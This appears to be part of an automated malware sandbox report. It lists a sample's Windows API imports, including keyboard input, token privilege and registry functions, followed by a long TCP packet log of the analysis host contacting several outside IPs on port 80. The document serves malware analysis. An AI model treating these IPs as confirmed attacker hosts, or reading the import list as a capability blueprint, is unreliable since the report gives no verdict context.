                                                                  USER32.dllAdjustWindowRectEx, CopyImage, SetWindowPos, GetCursorInfo, RegisterHotKey, ClientToScreen, GetKeyboardLayoutNameW, IsCharAlphaW, IsCharAlphaNumericW, IsCharLowerW, IsCharUpperW, GetMenuStringW, GetSubMenu, GetCaretPos, IsZoomed, MonitorFromPoint, GetMonitorInfoW, SetWindowLongW, SetLayeredWindowAttributes, FlashWindow, GetClassLongW, TranslateAcceleratorW, IsDialogMessageW, GetSysColor, InflateRect, DrawFocusRect, DrawTextW, FrameRect, DrawFrameControl, FillRect, PtInRect, DestroyAcceleratorTable, CreateAcceleratorTableW, SetCursor, GetWindowDC, GetSystemMetrics, GetActiveWindow, CharNextW, wsprintfW, RedrawWindow, DrawMenuBar, DestroyMenu, SetMenu, GetWindowTextLengthW, CreateMenu, IsDlgButtonChecked, DefDlgProcW, CallWindowProcW, ReleaseCapture, SetCapture, CreateIconFromResourceEx, mouse_event, ExitWindowsEx, SetActiveWindow, FindWindowExW, EnumThreadWindows, SetMenuDefaultItem, InsertMenuItemW, IsMenu, TrackPopupMenuEx, GetCursorPos, DeleteMenu, SetRect, GetMenuItemID, GetMenuItemCount, SetMenuItemInfoW, GetMenuItemInfoW, SetForegroundWindow, IsIconic, FindWindowW, MonitorFromRect, keybd_event, SendInput, GetAsyncKeyState, SetKeyboardState, GetKeyboardState, GetKeyState, VkKeyScanW, LoadStringW, DialogBoxParamW, MessageBeep, EndDialog, SendDlgItemMessageW, GetDlgItem, SetWindowTextW, CopyRect, ReleaseDC, GetDC, EndPaint, BeginPaint, GetClientRect, GetMenu, DestroyWindow, EnumWindows, GetDesktopWindow, IsWindow, IsWindowEnabled, IsWindowVisible, EnableWindow, InvalidateRect, GetWindowLongW, GetWindowThreadProcessId, AttachThreadInput, GetFocus, GetWindowTextW, ScreenToClient, SendMessageTimeoutW, EnumChildWindows, CharUpperBuffW, GetParent, GetDlgCtrlID, SendMessageW, MapVirtualKeyW, PostMessageW, GetWindowRect, SetUserObjectSecurity, CloseDesktop, CloseWindowStation, OpenDesktopW, SetProcessWindowStation, GetProcessWindowStation, OpenWindowStationW, GetUserObjectSecurity, MessageBoxW, DefWindowProcW, SetClipboardData, EmptyClipboard, CountClipboardFormats, CloseClipboard, GetClipboardData, IsClipboardFormatAvailable, OpenClipboard, BlockInput, GetMessageW, LockWindowUpdate, DispatchMessageW, TranslateMessage, PeekMessageW, UnregisterHotKey, CheckMenuRadioItem, CharLowerBuffW, MoveWindow, SetFocus, PostQuitMessage, KillTimer, CreatePopupMenu, RegisterWindowMessageW, SetTimer, ShowWindow, CreateWindowExW, RegisterClassExW, LoadIconW, LoadCursorW, GetSysColorBrush, GetForegroundWindow, MessageBoxA, DestroyIcon, SystemParametersInfoW, LoadImageW, GetClassNameW
                                                                  GDI32.dllStrokePath, DeleteObject, GetTextExtentPoint32W, ExtCreatePen, GetDeviceCaps, EndPath, SetPixel, CloseFigure, CreateCompatibleBitmap, CreateCompatibleDC, SelectObject, StretchBlt, GetDIBits, LineTo, AngleArc, MoveToEx, Ellipse, DeleteDC, GetPixel, CreateDCW, GetStockObject, GetTextFaceW, CreateFontW, SetTextColor, PolyDraw, BeginPath, Rectangle, SetViewportOrgEx, GetObjectW, SetBkMode, RoundRect, SetBkColor, CreatePen, CreateSolidBrush, StrokeAndFillPath
                                                                  COMDLG32.dllGetOpenFileNameW, GetSaveFileNameW
                                                                  ADVAPI32.dllGetAce, RegEnumValueW, RegDeleteValueW, RegDeleteKeyW, RegEnumKeyExW, RegSetValueExW, RegOpenKeyExW, RegCloseKey, RegQueryValueExW, RegConnectRegistryW, InitializeSecurityDescriptor, InitializeAcl, AdjustTokenPrivileges, OpenThreadToken, OpenProcessToken, LookupPrivilegeValueW, DuplicateTokenEx, CreateProcessAsUserW, CreateProcessWithLogonW, GetLengthSid, CopySid, LogonUserW, AllocateAndInitializeSid, CheckTokenMembership, RegCreateKeyExW, FreeSid, GetTokenInformation, GetSecurityDescriptorDacl, GetAclInformation, AddAce, SetSecurityDescriptorDacl, GetUserNameW, InitiateSystemShutdownExW
                                                                  SHELL32.dllDragQueryPoint, ShellExecuteExW, DragQueryFileW, SHEmptyRecycleBinW, SHGetPathFromIDListW, SHBrowseForFolderW, SHCreateShellItem, SHGetDesktopFolder, SHGetSpecialFolderLocation, SHGetFolderPathW, SHFileOperationW, ExtractIconExW, Shell_NotifyIconW, ShellExecuteW, DragFinish
                                                                  ole32.dllCoTaskMemAlloc, CoTaskMemFree, CLSIDFromString, ProgIDFromCLSID, CLSIDFromProgID, OleSetMenuDescriptor, MkParseDisplayName, OleSetContainedObject, CoCreateInstance, IIDFromString, StringFromGUID2, CreateStreamOnHGlobal, OleInitialize, OleUninitialize, CoInitialize, CoUninitialize, GetRunningObjectTable, CoGetInstanceFromFile, CoGetObject, CoSetProxyBlanket, CoCreateInstanceEx, CoInitializeSecurity
                                                                  OLEAUT32.dllLoadTypeLibEx, VariantCopyInd, SysReAllocString, SysFreeString, SafeArrayDestroyDescriptor, SafeArrayDestroyData, SafeArrayUnaccessData, SafeArrayAccessData, SafeArrayAllocData, SafeArrayAllocDescriptorEx, SafeArrayCreateVector, RegisterTypeLib, CreateStdDispatch, DispCallFunc, VariantChangeType, SysStringLen, VariantTimeToSystemTime, VarR8FromDec, SafeArrayGetVartype, VariantCopy, VariantClear, OleLoadPicture, QueryPathOfRegTypeLib, RegisterTypeLibForUser, UnRegisterTypeLibForUser, UnRegisterTypeLib, CreateDispTypeInfo, SysAllocString, VariantInit

                                                                  Possible Origin

                                                                  Language of compilation systemCountry where language is spokenMap
                                                                  EnglishGreat Britain

                                                                  Network Behavior

                                                                  Network Port Distribution

                                                                  TCP Packets

                                                                  TimestampSource PortDest PortSource IPDest IP
                                                                  Dec 5, 2024 14:07:22.275449038 CET4973680192.168.2.423.167.152.41
                                                                  Dec 5, 2024 14:07:22.395942926 CET804973623.167.152.41192.168.2.4
                                                                  Dec 5, 2024 14:07:22.396083117 CET4973680192.168.2.423.167.152.41
                                                                  Dec 5, 2024 14:07:22.413903952 CET4973680192.168.2.423.167.152.41
                                                                  Dec 5, 2024 14:07:22.534302950 CET804973623.167.152.41192.168.2.4
                                                                  Dec 5, 2024 14:07:23.294889927 CET804973623.167.152.41192.168.2.4
                                                                  Dec 5, 2024 14:07:23.295129061 CET4973680192.168.2.423.167.152.41
                                                                  Dec 5, 2024 14:07:23.302526951 CET4973680192.168.2.423.167.152.41
                                                                  Dec 5, 2024 14:07:23.422216892 CET804973623.167.152.41192.168.2.4
                                                                  Dec 5, 2024 14:07:38.958247900 CET4974480192.168.2.4199.59.243.227
                                                                  Dec 5, 2024 14:07:39.079484940 CET8049744199.59.243.227192.168.2.4
                                                                  Dec 5, 2024 14:07:39.084072113 CET4974480192.168.2.4199.59.243.227
                                                                  Dec 5, 2024 14:07:39.096381903 CET4974480192.168.2.4199.59.243.227
                                                                  Dec 5, 2024 14:07:39.216233015 CET8049744199.59.243.227192.168.2.4
                                                                  Dec 5, 2024 14:07:40.181029081 CET8049744199.59.243.227192.168.2.4
                                                                  Dec 5, 2024 14:07:40.181662083 CET8049744199.59.243.227192.168.2.4
                                                                  Dec 5, 2024 14:07:40.181680918 CET8049744199.59.243.227192.168.2.4
                                                                  Dec 5, 2024 14:07:40.181718111 CET4974480192.168.2.4199.59.243.227
                                                                  Dec 5, 2024 14:07:40.181791067 CET4974480192.168.2.4199.59.243.227
                                                                  Dec 5, 2024 14:07:40.602175951 CET4974480192.168.2.4199.59.243.227
                                                                  Dec 5, 2024 14:07:41.620620966 CET4975080192.168.2.4199.59.243.227
                                                                  Dec 5, 2024 14:07:41.740876913 CET8049750199.59.243.227192.168.2.4
                                                                  Dec 5, 2024 14:07:41.741002083 CET4975080192.168.2.4199.59.243.227
                                                                  Dec 5, 2024 14:07:41.755337000 CET4975080192.168.2.4199.59.243.227
                                                                  Dec 5, 2024 14:07:41.877185106 CET8049750199.59.243.227192.168.2.4
                                                                  Dec 5, 2024 14:07:42.838087082 CET8049750199.59.243.227192.168.2.4
                                                                  Dec 5, 2024 14:07:42.838171959 CET8049750199.59.243.227192.168.2.4
                                                                  Dec 5, 2024 14:07:42.838237047 CET4975080192.168.2.4199.59.243.227
                                                                  Dec 5, 2024 14:07:42.838463068 CET8049750199.59.243.227192.168.2.4
                                                                  Dec 5, 2024 14:07:42.838639021 CET4975080192.168.2.4199.59.243.227
                                                                  Dec 5, 2024 14:07:43.258287907 CET4975080192.168.2.4199.59.243.227
                                                                  Dec 5, 2024 14:07:44.276797056 CET4976180192.168.2.4199.59.243.227
                                                                  Dec 5, 2024 14:07:44.396687984 CET8049761199.59.243.227192.168.2.4
                                                                  Dec 5, 2024 14:07:44.397084951 CET4976180192.168.2.4199.59.243.227
                                                                  Dec 5, 2024 14:07:44.412048101 CET4976180192.168.2.4199.59.243.227
                                                                  Dec 5, 2024 14:07:44.532165051 CET8049761199.59.243.227192.168.2.4
                                                                  Dec 5, 2024 14:07:44.532176971 CET8049761199.59.243.227192.168.2.4
                                                                  Dec 5, 2024 14:07:44.532248974 CET8049761199.59.243.227192.168.2.4
                                                                  Dec 5, 2024 14:07:44.532258034 CET8049761199.59.243.227192.168.2.4
                                                                  Dec 5, 2024 14:07:44.532351017 CET8049761199.59.243.227192.168.2.4
                                                                  Dec 5, 2024 14:07:44.532538891 CET8049761199.59.243.227192.168.2.4
                                                                  Dec 5, 2024 14:07:44.532546997 CET8049761199.59.243.227192.168.2.4
                                                                  Dec 5, 2024 14:07:44.532556057 CET8049761199.59.243.227192.168.2.4
                                                                  Dec 5, 2024 14:07:44.532565117 CET8049761199.59.243.227192.168.2.4
                                                                  Dec 5, 2024 14:07:45.494083881 CET8049761199.59.243.227192.168.2.4
                                                                  Dec 5, 2024 14:07:45.494565964 CET8049761199.59.243.227192.168.2.4
                                                                  Dec 5, 2024 14:07:45.494579077 CET8049761199.59.243.227192.168.2.4
                                                                  Dec 5, 2024 14:07:45.494637966 CET4976180192.168.2.4199.59.243.227
                                                                  Dec 5, 2024 14:07:45.914588928 CET4976180192.168.2.4199.59.243.227
                                                                  Dec 5, 2024 14:07:46.934223890 CET4976780192.168.2.4199.59.243.227
                                                                  Dec 5, 2024 14:07:47.054037094 CET8049767199.59.243.227192.168.2.4
                                                                  Dec 5, 2024 14:07:47.054120064 CET4976780192.168.2.4199.59.243.227
                                                                  Dec 5, 2024 14:07:47.063035011 CET4976780192.168.2.4199.59.243.227
                                                                  Dec 5, 2024 14:07:47.183069944 CET8049767199.59.243.227192.168.2.4
                                                                  Dec 5, 2024 14:07:48.151151896 CET8049767199.59.243.227192.168.2.4
                                                                  Dec 5, 2024 14:07:48.151196957 CET8049767199.59.243.227192.168.2.4
                                                                  Dec 5, 2024 14:07:48.151209116 CET8049767199.59.243.227192.168.2.4
                                                                  Dec 5, 2024 14:07:48.151294947 CET4976780192.168.2.4199.59.243.227
                                                                  Dec 5, 2024 14:07:48.154978037 CET4976780192.168.2.4199.59.243.227
                                                                  Dec 5, 2024 14:07:48.281725883 CET8049767199.59.243.227192.168.2.4
                                                                  Dec 5, 2024 14:08:10.464550018 CET4982080192.168.2.438.47.232.202
                                                                  Dec 5, 2024 14:08:10.584362030 CET804982038.47.232.202192.168.2.4
                                                                  Dec 5, 2024 14:08:10.586179018 CET4982080192.168.2.438.47.232.202
                                                                  Dec 5, 2024 14:08:10.600358963 CET4982080192.168.2.438.47.232.202
                                                                  Dec 5, 2024 14:08:10.720154047 CET804982038.47.232.202192.168.2.4
                                                                  Dec 5, 2024 14:08:12.116621017 CET4982080192.168.2.438.47.232.202
                                                                  Dec 5, 2024 14:08:12.151705027 CET804982038.47.232.202192.168.2.4
                                                                  Dec 5, 2024 14:08:12.151818991 CET804982038.47.232.202192.168.2.4
                                                                  Dec 5, 2024 14:08:12.154082060 CET4982080192.168.2.438.47.232.202
                                                                  Dec 5, 2024 14:08:12.154112101 CET4982080192.168.2.438.47.232.202
                                                                  Dec 5, 2024 14:08:12.236387968 CET804982038.47.232.202192.168.2.4
                                                                  Dec 5, 2024 14:08:12.236473083 CET4982080192.168.2.438.47.232.202
                                                                  Dec 5, 2024 14:08:13.122028112 CET4982980192.168.2.438.47.232.202
                                                                  Dec 5, 2024 14:08:13.241951942 CET804982938.47.232.202192.168.2.4
                                                                  Dec 5, 2024 14:08:13.242034912 CET4982980192.168.2.438.47.232.202
                                                                  Dec 5, 2024 14:08:13.257100105 CET4982980192.168.2.438.47.232.202
                                                                  Dec 5, 2024 14:08:13.376995087 CET804982938.47.232.202192.168.2.4
                                                                  Dec 5, 2024 14:08:14.758981943 CET4982980192.168.2.438.47.232.202
                                                                  Dec 5, 2024 14:08:14.789452076 CET804982938.47.232.202192.168.2.4
                                                                  Dec 5, 2024 14:08:14.789639950 CET4982980192.168.2.438.47.232.202
                                                                  Dec 5, 2024 14:08:14.789693117 CET804982938.47.232.202192.168.2.4
                                                                  Dec 5, 2024 14:08:14.789752007 CET4982980192.168.2.438.47.232.202
                                                                  Dec 5, 2024 14:08:14.879070044 CET804982938.47.232.202192.168.2.4
                                                                  Dec 5, 2024 14:08:14.879175901 CET4982980192.168.2.438.47.232.202
                                                                  Dec 5, 2024 14:08:15.776688099 CET4983680192.168.2.438.47.232.202
                                                                  Dec 5, 2024 14:08:15.897068977 CET804983638.47.232.202192.168.2.4
                                                                  Dec 5, 2024 14:08:15.897186995 CET4983680192.168.2.438.47.232.202
                                                                  Dec 5, 2024 14:08:15.923336983 CET4983680192.168.2.438.47.232.202
                                                                  Dec 5, 2024 14:08:16.043277979 CET804983638.47.232.202192.168.2.4
                                                                  Dec 5, 2024 14:08:16.043292999 CET804983638.47.232.202192.168.2.4
                                                                  Dec 5, 2024 14:08:16.043339014 CET804983638.47.232.202192.168.2.4
                                                                  Dec 5, 2024 14:08:16.043363094 CET804983638.47.232.202192.168.2.4
                                                                  Dec 5, 2024 14:08:16.043453932 CET804983638.47.232.202192.168.2.4
                                                                  Dec 5, 2024 14:08:16.043477058 CET804983638.47.232.202192.168.2.4
                                                                  Dec 5, 2024 14:08:16.043586969 CET804983638.47.232.202192.168.2.4
                                                                  Dec 5, 2024 14:08:16.043598890 CET804983638.47.232.202192.168.2.4
                                                                  Dec 5, 2024 14:08:16.043612957 CET804983638.47.232.202192.168.2.4
                                                                  Dec 5, 2024 14:08:17.430171013 CET4983680192.168.2.438.47.232.202
                                                                  Dec 5, 2024 14:08:17.431955099 CET804983638.47.232.202192.168.2.4
                                                                  Dec 5, 2024 14:08:17.432012081 CET4983680192.168.2.438.47.232.202
                                                                  Dec 5, 2024 14:08:17.432037115 CET804983638.47.232.202192.168.2.4
                                                                  Dec 5, 2024 14:08:17.432089090 CET4983680192.168.2.438.47.232.202
                                                                  Dec 5, 2024 14:08:17.549957037 CET804983638.47.232.202192.168.2.4
                                                                  Dec 5, 2024 14:08:17.550014973 CET4983680192.168.2.438.47.232.202
                                                                  Dec 5, 2024 14:08:18.448776960 CET4984280192.168.2.438.47.232.202
                                                                  Dec 5, 2024 14:08:18.568795919 CET804984238.47.232.202192.168.2.4
                                                                  Dec 5, 2024 14:08:18.572381973 CET4984280192.168.2.438.47.232.202
                                                                  Dec 5, 2024 14:08:18.580215931 CET4984280192.168.2.438.47.232.202
                                                                  Dec 5, 2024 14:08:18.700061083 CET804984238.47.232.202192.168.2.4
                                                                  Dec 5, 2024 14:08:20.114787102 CET804984238.47.232.202192.168.2.4
                                                                  Dec 5, 2024 14:08:20.114864111 CET804984238.47.232.202192.168.2.4
                                                                  Dec 5, 2024 14:08:20.114943981 CET4984280192.168.2.438.47.232.202
                                                                  Dec 5, 2024 14:08:20.117585897 CET4984280192.168.2.438.47.232.202
                                                                  Dec 5, 2024 14:08:20.237265110 CET804984238.47.232.202192.168.2.4
                                                                  Dec 5, 2024 14:08:25.876056910 CET4985980192.168.2.4130.185.109.77
                                                                  Dec 5, 2024 14:08:25.995910883 CET8049859130.185.109.77192.168.2.4
                                                                  Dec 5, 2024 14:08:25.995996952 CET4985980192.168.2.4130.185.109.77
                                                                  Dec 5, 2024 14:08:26.014554977 CET4985980192.168.2.4130.185.109.77
                                                                  Dec 5, 2024 14:08:26.135142088 CET8049859130.185.109.77192.168.2.4
                                                                  Dec 5, 2024 14:08:27.256509066 CET8049859130.185.109.77192.168.2.4
                                                                  Dec 5, 2024 14:08:27.256712914 CET8049859130.185.109.77192.168.2.4
                                                                  Dec 5, 2024 14:08:27.256767035 CET4985980192.168.2.4130.185.109.77
                                                                  Dec 5, 2024 14:08:27.523968935 CET4985980192.168.2.4130.185.109.77
                                                                  Dec 5, 2024 14:08:28.560334921 CET4986880192.168.2.4130.185.109.77
                                                                  Dec 5, 2024 14:08:28.680181980 CET8049868130.185.109.77192.168.2.4
                                                                  Dec 5, 2024 14:08:28.680496931 CET4986880192.168.2.4130.185.109.77
                                                                  Dec 5, 2024 14:08:28.744229078 CET4986880192.168.2.4130.185.109.77
                                                                  Dec 5, 2024 14:08:28.865391970 CET8049868130.185.109.77192.168.2.4
                                                                  Dec 5, 2024 14:08:29.939774990 CET8049868130.185.109.77192.168.2.4
                                                                  Dec 5, 2024 14:08:29.939848900 CET8049868130.185.109.77192.168.2.4
                                                                  Dec 5, 2024 14:08:29.939904928 CET4986880192.168.2.4130.185.109.77
                                                                  Dec 5, 2024 14:08:30.258347988 CET4986880192.168.2.4130.185.109.77
                                                                  Dec 5, 2024 14:08:31.383773088 CET4987580192.168.2.4130.185.109.77
                                                                  Dec 5, 2024 14:08:31.503772020 CET8049875130.185.109.77192.168.2.4
                                                                  Dec 5, 2024 14:08:31.503851891 CET4987580192.168.2.4130.185.109.77
                                                                  Dec 5, 2024 14:08:31.643517971 CET4987580192.168.2.4130.185.109.77
                                                                  Dec 5, 2024 14:08:31.766736031 CET8049875130.185.109.77192.168.2.4
                                                                  Dec 5, 2024 14:08:31.766772032 CET8049875130.185.109.77192.168.2.4
                                                                  Dec 5, 2024 14:08:31.766855955 CET8049875130.185.109.77192.168.2.4
                                                                  Dec 5, 2024 14:08:31.766927958 CET8049875130.185.109.77192.168.2.4
                                                                  Dec 5, 2024 14:08:31.767056942 CET8049875130.185.109.77192.168.2.4
                                                                  Dec 5, 2024 14:08:31.767069101 CET8049875130.185.109.77192.168.2.4
                                                                  Dec 5, 2024 14:08:31.767204046 CET8049875130.185.109.77192.168.2.4
                                                                  Dec 5, 2024 14:08:31.767213106 CET8049875130.185.109.77192.168.2.4
                                                                  Dec 5, 2024 14:08:31.767256021 CET8049875130.185.109.77192.168.2.4
                                                                  Dec 5, 2024 14:08:32.765182972 CET8049875130.185.109.77192.168.2.4
                                                                  Dec 5, 2024 14:08:32.820792913 CET4987580192.168.2.4130.185.109.77
                                                                  Dec 5, 2024 14:08:32.854079962 CET8049875130.185.109.77192.168.2.4
                                                                  Dec 5, 2024 14:08:32.854186058 CET4987580192.168.2.4130.185.109.77
                                                                  Dec 5, 2024 14:08:33.148964882 CET4987580192.168.2.4130.185.109.77
                                                                  Dec 5, 2024 14:08:34.194183111 CET4988180192.168.2.4130.185.109.77
                                                                  Dec 5, 2024 14:08:34.314439058 CET8049881130.185.109.77192.168.2.4
                                                                  Dec 5, 2024 14:08:34.314572096 CET4988180192.168.2.4130.185.109.77
                                                                  Dec 5, 2024 14:08:34.359159946 CET4988180192.168.2.4130.185.109.77
                                                                  Dec 5, 2024 14:08:34.479039907 CET8049881130.185.109.77192.168.2.4
                                                                  Dec 5, 2024 14:08:35.575444937 CET8049881130.185.109.77192.168.2.4
                                                                  Dec 5, 2024 14:08:35.575556993 CET8049881130.185.109.77192.168.2.4
                                                                  Dec 5, 2024 14:08:35.575654984 CET4988180192.168.2.4130.185.109.77
                                                                  Dec 5, 2024 14:08:35.578263998 CET4988180192.168.2.4130.185.109.77
                                                                  Dec 5, 2024 14:08:35.698245049 CET8049881130.185.109.77192.168.2.4
                                                                  Dec 5, 2024 14:08:41.074542046 CET4989880192.168.2.4108.181.189.7
                                                                  Dec 5, 2024 14:08:41.194438934 CET8049898108.181.189.7192.168.2.4
                                                                  Dec 5, 2024 14:08:41.194526911 CET4989880192.168.2.4108.181.189.7
                                                                  Dec 5, 2024 14:08:41.208626986 CET4989880192.168.2.4108.181.189.7
                                                                  Dec 5, 2024 14:08:41.328638077 CET8049898108.181.189.7192.168.2.4
                                                                  Dec 5, 2024 14:08:42.479028940 CET8049898108.181.189.7192.168.2.4
                                                                  Dec 5, 2024 14:08:42.479185104 CET8049898108.181.189.7192.168.2.4
                                                                  Dec 5, 2024 14:08:42.479198933 CET8049898108.181.189.7192.168.2.4
                                                                  Dec 5, 2024 14:08:42.479249001 CET4989880192.168.2.4108.181.189.7
                                                                  Dec 5, 2024 14:08:42.737957954 CET4989880192.168.2.4108.181.189.7
                                                                  Dec 5, 2024 14:08:43.745623112 CET4990780192.168.2.4108.181.189.7
                                                                  Dec 5, 2024 14:08:43.865437031 CET8049907108.181.189.7192.168.2.4
                                                                  Dec 5, 2024 14:08:43.865520954 CET4990780192.168.2.4108.181.189.7
                                                                  Dec 5, 2024 14:08:43.879946947 CET4990780192.168.2.4108.181.189.7
                                                                  Dec 5, 2024 14:08:43.999912977 CET8049907108.181.189.7192.168.2.4
                                                                  Dec 5, 2024 14:08:45.183384895 CET8049907108.181.189.7192.168.2.4
                                                                  Dec 5, 2024 14:08:45.183530092 CET8049907108.181.189.7192.168.2.4
                                                                  Dec 5, 2024 14:08:45.183578014 CET4990780192.168.2.4108.181.189.7
                                                                  Dec 5, 2024 14:08:45.183620930 CET8049907108.181.189.7192.168.2.4
                                                                  Dec 5, 2024 14:08:45.183665991 CET4990780192.168.2.4108.181.189.7
                                                                  Dec 5, 2024 14:08:45.384180069 CET4990780192.168.2.4108.181.189.7
                                                                  Dec 5, 2024 14:08:46.401976109 CET4991480192.168.2.4108.181.189.7
                                                                  Dec 5, 2024 14:08:46.521862030 CET8049914108.181.189.7192.168.2.4
                                                                  Dec 5, 2024 14:08:46.522176027 CET4991480192.168.2.4108.181.189.7
                                                                  Dec 5, 2024 14:08:46.536875010 CET4991480192.168.2.4108.181.189.7
                                                                  Dec 5, 2024 14:08:46.657800913 CET8049914108.181.189.7192.168.2.4
                                                                  Dec 5, 2024 14:08:46.657819033 CET8049914108.181.189.7192.168.2.4
                                                                  Dec 5, 2024 14:08:46.657836914 CET8049914108.181.189.7192.168.2.4
                                                                  Dec 5, 2024 14:08:46.657846928 CET8049914108.181.189.7192.168.2.4
                                                                  Dec 5, 2024 14:08:46.657953978 CET8049914108.181.189.7192.168.2.4
                                                                  Dec 5, 2024 14:08:46.657963037 CET8049914108.181.189.7192.168.2.4
                                                                  Dec 5, 2024 14:08:46.658042908 CET8049914108.181.189.7192.168.2.4
                                                                  Dec 5, 2024 14:08:46.658066034 CET8049914108.181.189.7192.168.2.4
                                                                  Dec 5, 2024 14:08:46.658076048 CET8049914108.181.189.7192.168.2.4
                                                                  Dec 5, 2024 14:08:47.825619936 CET8049914108.181.189.7192.168.2.4
                                                                  Dec 5, 2024 14:08:47.825942993 CET8049914108.181.189.7192.168.2.4
                                                                  Dec 5, 2024 14:08:47.826035976 CET8049914108.181.189.7192.168.2.4
                                                                  Dec 5, 2024 14:08:47.826122046 CET4991480192.168.2.4108.181.189.7
                                                                  Dec 5, 2024 14:08:47.828103065 CET4991480192.168.2.4108.181.189.7
                                                                  Dec 5, 2024 14:08:48.039726973 CET4991480192.168.2.4108.181.189.7
                                                                  Dec 5, 2024 14:08:49.058235884 CET4992080192.168.2.4108.181.189.7
                                                                  Dec 5, 2024 14:08:49.178154945 CET8049920108.181.189.7192.168.2.4
                                                                  Dec 5, 2024 14:08:49.178467989 CET4992080192.168.2.4108.181.189.7
                                                                  Dec 5, 2024 14:08:49.187444925 CET4992080192.168.2.4108.181.189.7
                                                                  Dec 5, 2024 14:08:49.308253050 CET8049920108.181.189.7192.168.2.4
                                                                  Dec 5, 2024 14:08:50.339710951 CET8049920108.181.189.7192.168.2.4
                                                                  Dec 5, 2024 14:08:50.339725971 CET8049920108.181.189.7192.168.2.4
                                                                  Dec 5, 2024 14:08:50.339740992 CET8049920108.181.189.7192.168.2.4
                                                                  Dec 5, 2024 14:08:50.339848042 CET4992080192.168.2.4108.181.189.7
                                                                  Dec 5, 2024 14:08:50.339889050 CET4992080192.168.2.4108.181.189.7
                                                                  Dec 5, 2024 14:08:50.342643976 CET4992080192.168.2.4108.181.189.7
                                                                  Dec 5, 2024 14:08:50.462393045 CET8049920108.181.189.7192.168.2.4
                                                                  Dec 5, 2024 14:08:55.826289892 CET4993680192.168.2.4203.161.42.73
                                                                  Dec 5, 2024 14:08:55.947407961 CET8049936203.161.42.73192.168.2.4
                                                                  Dec 5, 2024 14:08:55.950171947 CET4993680192.168.2.4203.161.42.73
                                                                  Dec 5, 2024 14:08:55.963768959 CET4993680192.168.2.4203.161.42.73
                                                                  Dec 5, 2024 14:08:56.084100962 CET8049936203.161.42.73192.168.2.4
                                                                  Dec 5, 2024 14:08:57.182180882 CET8049936203.161.42.73192.168.2.4
                                                                  Dec 5, 2024 14:08:57.182209969 CET8049936203.161.42.73192.168.2.4
                                                                  Dec 5, 2024 14:08:57.182220936 CET8049936203.161.42.73192.168.2.4
                                                                  Dec 5, 2024 14:08:57.182267904 CET4993680192.168.2.4203.161.42.73
                                                                  Dec 5, 2024 14:08:57.182420969 CET8049936203.161.42.73192.168.2.4
                                                                  Dec 5, 2024 14:08:57.182430983 CET8049936203.161.42.73192.168.2.4
                                                                  Dec 5, 2024 14:08:57.182440042 CET8049936203.161.42.73192.168.2.4
                                                                  Dec 5, 2024 14:08:57.182451010 CET8049936203.161.42.73192.168.2.4
                                                                  Dec 5, 2024 14:08:57.182461023 CET8049936203.161.42.73192.168.2.4
                                                                  Dec 5, 2024 14:08:57.182462931 CET4993680192.168.2.4203.161.42.73
                                                                  Dec 5, 2024 14:08:57.182472944 CET4993680192.168.2.4203.161.42.73
                                                                  Dec 5, 2024 14:08:57.182499886 CET4993680192.168.2.4203.161.42.73
                                                                  Dec 5, 2024 14:08:57.182732105 CET8049936203.161.42.73192.168.2.4
                                                                  Dec 5, 2024 14:08:57.182745934 CET8049936203.161.42.73192.168.2.4
                                                                  Dec 5, 2024 14:08:57.182786942 CET4993680192.168.2.4203.161.42.73
                                                                  Dec 5, 2024 14:08:57.302037001 CET8049936203.161.42.73192.168.2.4
                                                                  Dec 5, 2024 14:08:57.302069902 CET8049936203.161.42.73192.168.2.4
                                                                  Dec 5, 2024 14:08:57.302136898 CET4993680192.168.2.4203.161.42.73
                                                                  Dec 5, 2024 14:08:57.306374073 CET8049936203.161.42.73192.168.2.4
                                                                  Dec 5, 2024 14:08:57.352076054 CET4993680192.168.2.4203.161.42.73
                                                                  Dec 5, 2024 14:08:57.373996973 CET8049936203.161.42.73192.168.2.4
                                                                  Dec 5, 2024 14:08:57.374047995 CET8049936203.161.42.73192.168.2.4
                                                                  Dec 5, 2024 14:08:57.374085903 CET4993680192.168.2.4203.161.42.73
                                                                  Dec 5, 2024 14:08:57.376610994 CET8049936203.161.42.73192.168.2.4
                                                                  Dec 5, 2024 14:08:57.376662970 CET4993680192.168.2.4203.161.42.73
                                                                  Dec 5, 2024 14:08:57.478859901 CET4993680192.168.2.4203.161.42.73
                                                                  Dec 5, 2024 14:08:58.495662928 CET4994480192.168.2.4203.161.42.73
                                                                  Dec 5, 2024 14:08:58.615398884 CET8049944203.161.42.73192.168.2.4
                                                                  Dec 5, 2024 14:08:58.615473032 CET4994480192.168.2.4203.161.42.73
                                                                  Dec 5, 2024 14:08:58.630397081 CET4994480192.168.2.4203.161.42.73
                                                                  Dec 5, 2024 14:08:58.750129938 CET8049944203.161.42.73192.168.2.4
                                                                  Dec 5, 2024 14:08:59.845951080 CET8049944203.161.42.73192.168.2.4
                                                                  Dec 5, 2024 14:08:59.846049070 CET8049944203.161.42.73192.168.2.4
                                                                  Dec 5, 2024 14:08:59.846061945 CET8049944203.161.42.73192.168.2.4
                                                                  Dec 5, 2024 14:08:59.846097946 CET4994480192.168.2.4203.161.42.73
                                                                  Dec 5, 2024 14:08:59.846187115 CET8049944203.161.42.73192.168.2.4
                                                                  Dec 5, 2024 14:08:59.846199036 CET8049944203.161.42.73192.168.2.4
                                                                  Dec 5, 2024 14:08:59.846230984 CET4994480192.168.2.4203.161.42.73
                                                                  Dec 5, 2024 14:08:59.846349001 CET8049944203.161.42.73192.168.2.4
                                                                  Dec 5, 2024 14:08:59.846359015 CET8049944203.161.42.73192.168.2.4
                                                                  Dec 5, 2024 14:08:59.846369982 CET8049944203.161.42.73192.168.2.4
                                                                  Dec 5, 2024 14:08:59.846389055 CET4994480192.168.2.4203.161.42.73
                                                                  Dec 5, 2024 14:08:59.846402884 CET4994480192.168.2.4203.161.42.73
                                                                  Dec 5, 2024 14:08:59.846461058 CET8049944203.161.42.73192.168.2.4
                                                                  Dec 5, 2024 14:08:59.846623898 CET8049944203.161.42.73192.168.2.4
                                                                  Dec 5, 2024 14:08:59.846667051 CET4994480192.168.2.4203.161.42.73
                                                                  Dec 5, 2024 14:08:59.966072083 CET8049944203.161.42.73192.168.2.4
                                                                  Dec 5, 2024 14:08:59.966195107 CET8049944203.161.42.73192.168.2.4
                                                                  Dec 5, 2024 14:08:59.966418028 CET4994480192.168.2.4203.161.42.73
                                                                  Dec 5, 2024 14:08:59.970303059 CET8049944203.161.42.73192.168.2.4
                                                                  Dec 5, 2024 14:08:59.970345020 CET8049944203.161.42.73192.168.2.4
                                                                  Dec 5, 2024 14:08:59.970390081 CET4994480192.168.2.4203.161.42.73
                                                                  Dec 5, 2024 14:09:00.038068056 CET8049944203.161.42.73192.168.2.4
